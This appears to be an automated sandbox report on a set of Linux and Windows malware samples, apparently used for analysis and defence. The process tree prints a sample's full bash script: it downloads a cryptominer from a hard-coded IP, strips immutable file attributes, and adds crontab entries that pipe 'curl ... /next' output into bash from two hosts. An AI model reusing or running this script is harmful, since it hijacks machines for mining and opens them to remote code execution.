Overview
overview
10Static
static
10样本/Lin...9DC1D8
ubuntu-24.04-amd64
7样本/Lin...B36C5B
ubuntu-24.04-amd64
6样本/Lin...E3B383
ubuntu-24.04-amd64
8样本/Lin...6F5973
ubuntu-24.04-amd64
3样本/Lin...776DB8
ubuntu-18.04-amd64
1样本/Lin...776DB8
debian-9-armhf
1样本/Lin...776DB8
debian-9-mips
1样本/Lin...776DB8
debian-9-mipsel
1样本/Lin...C9A3F7
ubuntu-18.04-amd64
6样本/Lin...C9A3F7
debian-9-armhf
6样本/Lin...C9A3F7
debian-9-mips
6样本/Lin...C9A3F7
debian-9-mipsel
6样本/Lin...FECBE5
ubuntu-22.04-amd64
101AAF1A9F78...31.tar
windows7-x64
11AAF1A9F78...31.tar
windows10-2004-x64
1xrx/chattr
ubuntu-24.04-amd64
1xrx/config.json
windows7-x64
3xrx/config.json
windows10-2004-x64
3xrx/init.sh
ubuntu-22.04-amd64
6xrx/init0
ubuntu-24.04-amd64
8xrx/key
windows7-x64
1xrx/key
windows10-2004-x64
1xrx/scp
ubuntu-18.04-amd64
1xrx/scp
debian-9-armhf
1xrx/scp
debian-9-mips
1xrx/scp
debian-9-mipsel
1xrx/secure
ubuntu-24.04-amd64
7xrx/uninstall.sh
ubuntu-18.04-amd64
6xrx/uninstall.sh
debian-9-armhf
6xrx/uninstall.sh
debian-9-mips
6xrx/uninstall.sh
debian-9-mipsel
6xrx/xrx
ubuntu-18.04-amd64
6Resubmissions
02-12-2024 02:52
241202-dcyx7s1lfk 10Analysis
-
max time kernel
133s -
max time network
145s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240523-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
02-12-2024 02:52
Behavioral task
behavioral1
Sample
样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral2
Sample
样本/Linux/shc加密脚本/42693670C71A529A11E81943F5B36C5B
Resource
ubuntu2404-amd64-20240729-en
Behavioral task
behavioral3
Sample
样本/Linux/shc加密脚本/73F9917255A953EB749F5A3C90E3B383
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral4
Sample
样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973
Resource
ubuntu2404-amd64-20240729-en
Behavioral task
behavioral5
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral6
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral7
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral8
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral9
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral10
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral11
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral12
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral13
Sample
样本/Linux/挖矿程序/9D099882A24757AC5033B0C675FECBE5
Resource
ubuntu2204-amd64-20240522.1-en
Behavioral task
behavioral14
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
win7-20241023-en
Behavioral task
behavioral15
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
win10v2004-20241007-en
Behavioral task
behavioral16
Sample
xrx/chattr
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral17
Sample
xrx/config.json
Resource
win7-20241023-en
Behavioral task
behavioral18
Sample
xrx/config.json
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
xrx/init.sh
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral20
Sample
xrx/init0
Resource
ubuntu2404-amd64-20240729-en
Behavioral task
behavioral21
Sample
xrx/key
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
xrx/key
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
xrx/scp
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral24
Sample
xrx/scp
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral25
Sample
xrx/scp
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral26
Sample
xrx/scp
Resource
debian9-mipsel-20240729-en
Behavioral task
behavioral27
Sample
xrx/secure
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral28
Sample
xrx/uninstall.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral29
Sample
xrx/uninstall.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral30
Sample
xrx/uninstall.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral31
Sample
xrx/uninstall.sh
Resource
debian9-mipsel-20240729-en
General
-
Target
xrx/secure
-
Size
1023KB
-
MD5
069ad3938c3f9c049f670a8eb49dc1d8
-
SHA1
f4fd0c87a18d45ab4b642f32a94673c949ab7caf
-
SHA256
84d4b99f0d98900b4eadb7e107bf54196f2e5796d8707ebf0dcd76f5b6693295
-
SHA512
3c627883f53082face65b22d353c1926c4d4f4de008cf41cf2a3326762ad080dd95324f2fd35c3f60c069df4fb2c510d4fa07b26cbc404678f8a655c884beedb
-
SSDEEP
12288:SBgtRmLBGYhFcueTIqRe/w/Yt6myOP7/x7L15k7bKrHNq9EnE:SQRmLBTFcueTIie/wgB/x7LFLNq9
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2524 bash -
Attempts to change immutable files 2 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 2531 chattr 2532 chattr -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/possible pgrep -
Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/node pgrep -
description ioc Process File opened for reading /proc/2290/ctty pgrep File opened for reading /proc/17/stat pgrep File opened for reading /proc/32/stat pgrep File opened for reading /proc/1930/cgroup pgrep File opened for reading /proc/18/ctty pgrep File opened for reading /proc/190/stat pgrep File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/8/ctty pgrep File opened for reading /proc/9/status pgrep File opened for reading /proc/1959/status pgrep File opened for reading /proc/2010/ctty pgrep File opened for reading /proc/49/status pgrep File opened for reading /proc/1823/stat pgrep File opened for reading /proc/1930/ctty pgrep File opened for reading /proc/38/ctty pgrep File opened for reading /proc/1883/status pgrep File opened for reading /proc/2271/status pgrep File opened for reading /proc/2520/cgroup pgrep File opened for reading /proc/2/ctty pgrep File opened for reading /proc/24/cgroup pgrep File opened for reading /proc/29/status pgrep File opened for reading /proc/2216/ctty pgrep File opened for reading /proc/386/cgroup pgrep File opened for reading /proc/821/cmdline pgrep File opened for reading /proc/2216/status pgrep File opened for reading /proc/124/cgroup pgrep File opened for reading /proc/136/cgroup pgrep File opened for reading /proc/1731/cmdline pgrep File opened for reading /proc/2002/stat pgrep File opened for reading /proc/2319/stat pgrep File opened for reading /proc/41/cgroup pgrep File opened for reading /proc/386/cmdline pgrep File opened for reading /proc/1942/stat pgrep File opened for reading /proc/1988/stat pgrep File opened for reading /proc/2256/cgroup pgrep File opened for reading /proc/2241/ctty pgrep File opened for reading /proc/2319/cgroup pgrep File opened for reading /proc/17/status pgrep File opened for reading /proc/29/cgroup pgrep File opened for reading /proc/584/status pgrep File opened for reading /proc/2150/stat pgrep File opened for reading /proc/5/stat pgrep File opened for reading /proc/56/stat pgrep File opened for reading /proc/1985/cmdline pgrep File opened for reading /proc/42/stat pgrep File opened for reading /proc/44/cgroup pgrep File opened for reading /proc/46/stat pgrep File opened for reading /proc/2250/cgroup pgrep File opened for reading /proc/2301/ctty pgrep File opened for reading /proc/1063/ctty pgrep File opened for reading /proc/2002/status pgrep File opened for reading /proc/2165/cmdline pgrep File opened for reading /proc/56/ctty pgrep File opened for reading /proc/511/cgroup pgrep File opened for reading /proc/1985/stat pgrep File opened for reading /proc/12/ctty pgrep File opened for reading /proc/18/status pgrep File opened for reading /proc/817/cmdline pgrep File opened for reading /proc/190/cmdline pgrep File opened for reading /proc/1122/cgroup pgrep File opened for reading /proc/1711/cmdline pgrep File opened for reading /proc/3/ctty pgrep File opened for reading /proc/30/ctty pgrep File opened for reading /proc/35/cgroup pgrep
Processes
-
/tmp/xrx/secure/tmp/xrx/secure1⤵PID:2524
-
/bin/bash/tmp/xrx/secure -c "exec '/tmp/xrx/secure' \"\$@\"" /tmp/xrx/secure1⤵PID:2524
-
/tmp/xrx/secure/tmp/xrx/secure1⤵PID:2524
-
/bin/bash/tmp/xrx/secure -c " #!/bin/bash ifrunning=\$(pgrep xrx) ######################## ######################## downloadminer(){ link1=\"http://185.252.178.82:6972/xrx/xrx\" link2=\"http://185.252.178.82:6972/configs/config-xrx.json\" mkdir /var/tmp/.xrx cd /var/tmp/.xrx/ chattr -ia /var/tmp/.xrx/xrx chattr -ia /var/tmp/.xrx/config.json rm -rf /var/tmp/.xrx/xrx rm -rf /var/tmp/.xrx/config.json curl -L -O \$link1 || cd1 -L -O \$link1 || wget \$link1 --no-check-certificate curl -L -O \$link2 || cd1 -L -O \$link2 || wget \$link2 --no-check-certificate mv config-xrx.json config.json chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( \$EUID != 0 )); then if ! crontab -l | grep -q 'secure'; then cd /dev/shm rm -rf /dev/shm/.spark echo \"@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"*/30 * * * * curl 185.252.178.82:1011/next | bash \" >> .spark sleep 1 echo \"*/30 * * * * curl load.whitesnake.church:1011/next | bash \" >> .spark sleep 1 crontab .spark sleep 2 rm -rf /dev/shm/.spark fi fi if (( \$EUID == 0 )); then if ! cat /etc/crontab | grep -q 'secure'; then echo \"@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"*/30 * * * * root curl 185.252.178.82:1011/next | bash \" >> /etc/crontab echo \"*/30 * * * * root curl load.whitesnake.church:1011/next | bash \" >> /etc/crontab fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print \$5}'` if [ -f /var/tmp/.xrx/xrx ]; then echo \"miner intact\" else echo \"miner not found,downloading...\" downloadminer fi if [[ \"\$fsiz\" -gt 0 ]]; then echo \"miner size intact\" else echo \"filesize 0,downloading...\" downloadminer fi } ######################## ######################## gettingmineru crontablegend if test -z \"\$ifrunning\" ; then echo \"xrx not running,starting...\" /var/tmp/.xrx/xrx </dev/null &>/dev/null & disown -h %1 sleep 1 echo -e \"pid:\" pgrep xrx fi " /tmp/xrx/secure1⤵
- File and Directory Permissions Modification
PID:2524 -
/usr/bin/pgreppgrep xrx2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2526
-
-
/usr/bin/lsls -l /var/tmp/.xrx/xrx2⤵PID:2528
-
-
/usr/bin/awkawk "{print \$5}"2⤵PID:2529
-
-
/usr/bin/mkdirmkdir /var/tmp/.xrx2⤵PID:2530
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/xrx2⤵
- Attempts to change immutable files
PID:2531
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/config.json2⤵
- Attempts to change immutable files
PID:2532
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/xrx2⤵PID:2533
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/config.json2⤵PID:2534
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/xrx/xrx2⤵PID:2535
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/xrx/xrx --no-check-certificate2⤵PID:2578
-